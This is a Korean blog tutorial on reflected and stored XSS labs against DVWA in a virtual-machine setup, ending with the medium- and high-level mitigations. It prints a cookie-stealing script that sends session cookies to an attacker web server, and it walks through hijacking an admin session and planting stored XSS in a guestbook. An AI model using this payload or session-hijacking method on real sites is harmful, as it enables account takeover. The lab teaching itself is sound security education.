오늘은 저번 포스팅에 이어서
DVWA 사이트에서의 XSS 공격 실습과 그에 해당하는 대응방법에 관해 포스팅해보겠습니다.
먼저 XSS에 대한 개념에 대하여 알아보겠습니다.
XSS는 대부분의 웹사이트의 내장된 자바스크립트의 <script> 태그를 이용하는 방식인데요.
공격자에 의해 작성된 스크립트를 피해자의 웹브라우저에서 실행시키게 하여
사용자의 세션을 탈취하거나 웹사이트를 변조시키고
악의적인 사이트로 사용자를 이동시키는 등의 피해를 발생시킬 수 있는 해킹 방법입니다.
XSS 공격에는 총 2가지의 방식이 있습니다.
각각 그림과 함께 설명해보겠습니다.
먼저 Reflected 방식의 가장 큰 특징은 특정한 사용자를 대상으로 한다는 것입니다.
즉, 주목적이 특정한 사용자로 하여금 공격자의 스크립트가 웹브라우저에 의해 실행되게 하는 것이기 때문에 피싱 등의 방법을 사용하게 됩니다.
예를 들어, 피싱 메일의 링크를 사용자가 클릭하면 공격자의 스크립트가 삽입된 요청을 특정 서버에 보내게 됩니다.
그 이후 응답을 받은 뒤 클라이언트 웹브라우저에서 스크립트를 실행하고
스크립트 내용에 따라 사용자의 세션 정보 등을 공격자에게 전송하는 동작을 하게 됩니다.
Stored 방식은 불특정 다수를 공격 대상으로 삼으며 공격자가 만든 스크립트를 특정 서버에 저장하는 방식입니다.
해당 페이지에 접근하는 모든 사용자들의 웹브라우저에서 스크립트가 실행되게 하기 때문에 Reflected 방식보다 더 큰 피해를 발생시킬 확률이 높다고 할 수 있습니다.
예를 들어, 공격자가 만든 스크립트를 방명록에 삽입하여 저장하면 사용자는 방명록 페이지에 접속할 때마다 해당 스크립트를 실행하여 공격자가 의도한 대로 피해를 입을 수 있습니다.
이어서 앞서 알아봤던 개념을 바탕으로 DVWA 사이트에서 실습을 진행해보도록 하겠습니다.
실습을 하기 전에 실습환경과 전반적인 진행 구조에 대하여 간략히 알아보고 진행하겠습니다.
현재 Oracle VM VirtualBox를 활용하여 총 3개의 device로 실습을 진행할 것입니다.
Metasploitable2와 Kali linux 실습 환경에 대한 설명은 웹 보안 첫 실습 포스팅에서 간략하게 다뤘으므로 공격자 역할인 Ubuntu에서 웹서버를 구동시키는 것부터 실습을 시작하도록 하겠습니다.
먼저, 우분투 터미널에서 다음과 같은 명령어를 통해 apache2를 설치해줍니다.
sudo apt-get install -y apache2
이후 다음과 같은 명령어를 통해 apache2를 실행시키고 상태를 확인합니다.
sudo systemctl start apache2
sudo systemctl status apache2
정상적으로 running 하고 있는 것을 확인한 뒤
다음과 같은 명령어들을 통해 access.log 파일의 뒷부분을 실시간 출력시켜줍니다.
cd /var/log/apache2
sudo tail -f access.log
여기까지 되었다면 피해자의 세션정보를 전송받을 준비는 끝났습니다.
다음은 사용자 입장에서 공격자가 만든 스크립트를 실행해보겠습니다.
이번 실습에서는 미리 준비된 스크립트 코드를 위에 보이는 form에 입력시켜서
스크립트가 삽입된 요청을 보낼 것이지만 실제로는 피싱 메일로 받은 링크 등을 눌렀을 때 다음과 같은 스크립트를 포함한 요청을 보낸다고 생각하시면 될 것 같습니다.
<script>document.location='http://10.0.2.5/cookie?'+document.cookie</script>
위 스크립트의 내용을 살펴보면 공격자의 웹서버 주소로 사용자를 이동시키는 동시에
쿠키 정보를 전달시키고 있음을 알 수 있습니다.
즉, 이러한 스크립트가 포함된 요청이 '10.0.2.4'로 갔다가 응답이 오는 동시에
웹브라우저에서 스크립트를 실행시켜 사용자를 '10.0.2.5'로 이동시킵니다.
또한 동시에 DVWA 웹사이트에서 받은 세션 정보를 포함하는 쿠키 정보를 넘겨주게 됩니다.
그렇게 진행하게 되면 사용자는 위와 같이 아무것도 없는 페이지로 이동되지만
공격자 측에서는 사용자의 세션 정보를 포함한 쿠키 정보가 전달된 것을 알 수 있습니다.
그렇다면 위에 표시된 세션 정보로 공격자는 어떤 일들을 할 수 있을까요?
공격자 입장에서 세션 정보를 활용하기 위해선 추가적으로 설치해야 할 Firefox 확장 기능이 필요합니다.
위와 같이 'Cookie-Editor'를 검색 후 추가해줍니다.
추가가 완료되었다면 이번엔 admin의 세션 정보를 활용하여
일반 사용자로 로그인한 뒤 admin으로 계정을 바꿔버리는 실습을 해보겠습니다.
위에서 사용자는 admin 계정으로 DVWA에 로그인되어있는 걸 보실 수 있는데요.
공격자 측에서는 pablo계정(pw : letmein)을 통해 로그인해보도록 하겠습니다.
pablo로 로그인한 뒤 Cookie Editor를 눌러보시면 위와 같이 세션 값과 security 값을 바꿀 수 있습니다.
터미널에서 전송받은 세션 값을 복사하여 붙여 넣고 security 값도 low로 바꿔 준 후 둘 다 저장합니다.
저장 후 새로고침 하고 왼쪽 아래에 로그인된 계정을 보시면 분명 공격자 측 device의 화면인데도 불구하고 admin 계정으로 로그인되어 있는 것을 확인할 수 있습니다.
이와 같이 탈취한 세션 값을 이용하여 사용자 본인인 것처럼 로그인할 수 있고
그러한 계정이 관리자 계정이라면 피해는 더 커질 수 있습니다.
이번 실습에서는 reflected XSS 실습에서 공통되는 부분은 제외하고 진행하도록 하겠습니다.
위와 같이 방명록을 남길 수 있는 페이지에 의도적으로 스크립트를 방명록으로 등록시켜서 접속하는 사용자마다 자동으로 스크립트를 실행하도록 할 예정입니다.
그런데 Message 박스에 입력하고자 하는 스크립트가 글자 수 제한 때문에 안 들어갈 수도 있습니다.
그럴 때는 마우스 우클릭을 Message 박스에다 대고 누르시고 Inpect element를 클릭하시면 왼쪽 아래에 보이는 html 태그 속성을 수정함으로써 쉽게 maxlength를 수정할 수 있습니다.
위와 같이 스크립트를 방명록에 등록합니다.
그렇게 등록했다면 방명록 페이지 접속하려는 모든 사용자한테는 빈 페이지가 출력되고
다음과 같이 공격자 웹서버로 세션 정보를 포함한 쿠키 정보가 전송됩니다.
위와 같이 사용자인 10.0.2.15로 부터 전송된 쿠키정보가 표시되는 것을 볼 수 있습니다.
1. low 단계 : 대응 없음.
2. medium 단계 :
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
medium 단계에서는 str_replace 함수를 통해 <script> 태그를 지워줌으로써 대응하고 있습니다.
그러나 대소문자를 구별하고 있지 않고 <script> 태그를 두 번 쓰는 등의 파훼법이 많습니다.
3. high 단계 :
echo 'Hello ' . htmlspecialchars($_GET['name']);
high 단계에서는 htmlspecialchars() 함수를 통해서 html 태그에 사용되는
중요한 특수문자들을 기능하지 않게 만들고 단순히 문자로서 표시되게 만들고 있습니다.
현재 가장 많이 사용되고 있는 XSS 공격 대응 방법이라고 합니다.
이미지 출처 :
www.youtube.com/watch?v=jvS45jdz1ao&list=PLK3IOiy3HLQb6jA9bA5-nJqFxJ96aytCz&index=50
PS.
읽어주셔서 감사합니다!!
개인적으로 처음 접하는 부분들을
혼자 공부하면서 진행하다 보니 부족한 점이 많습니다.
항상 정확하고 좋은 글을 쓰려고 노력하겠지만
부족한 부분을 발견하시면 언제든지 말씀해주시면 감사하겠습니다!!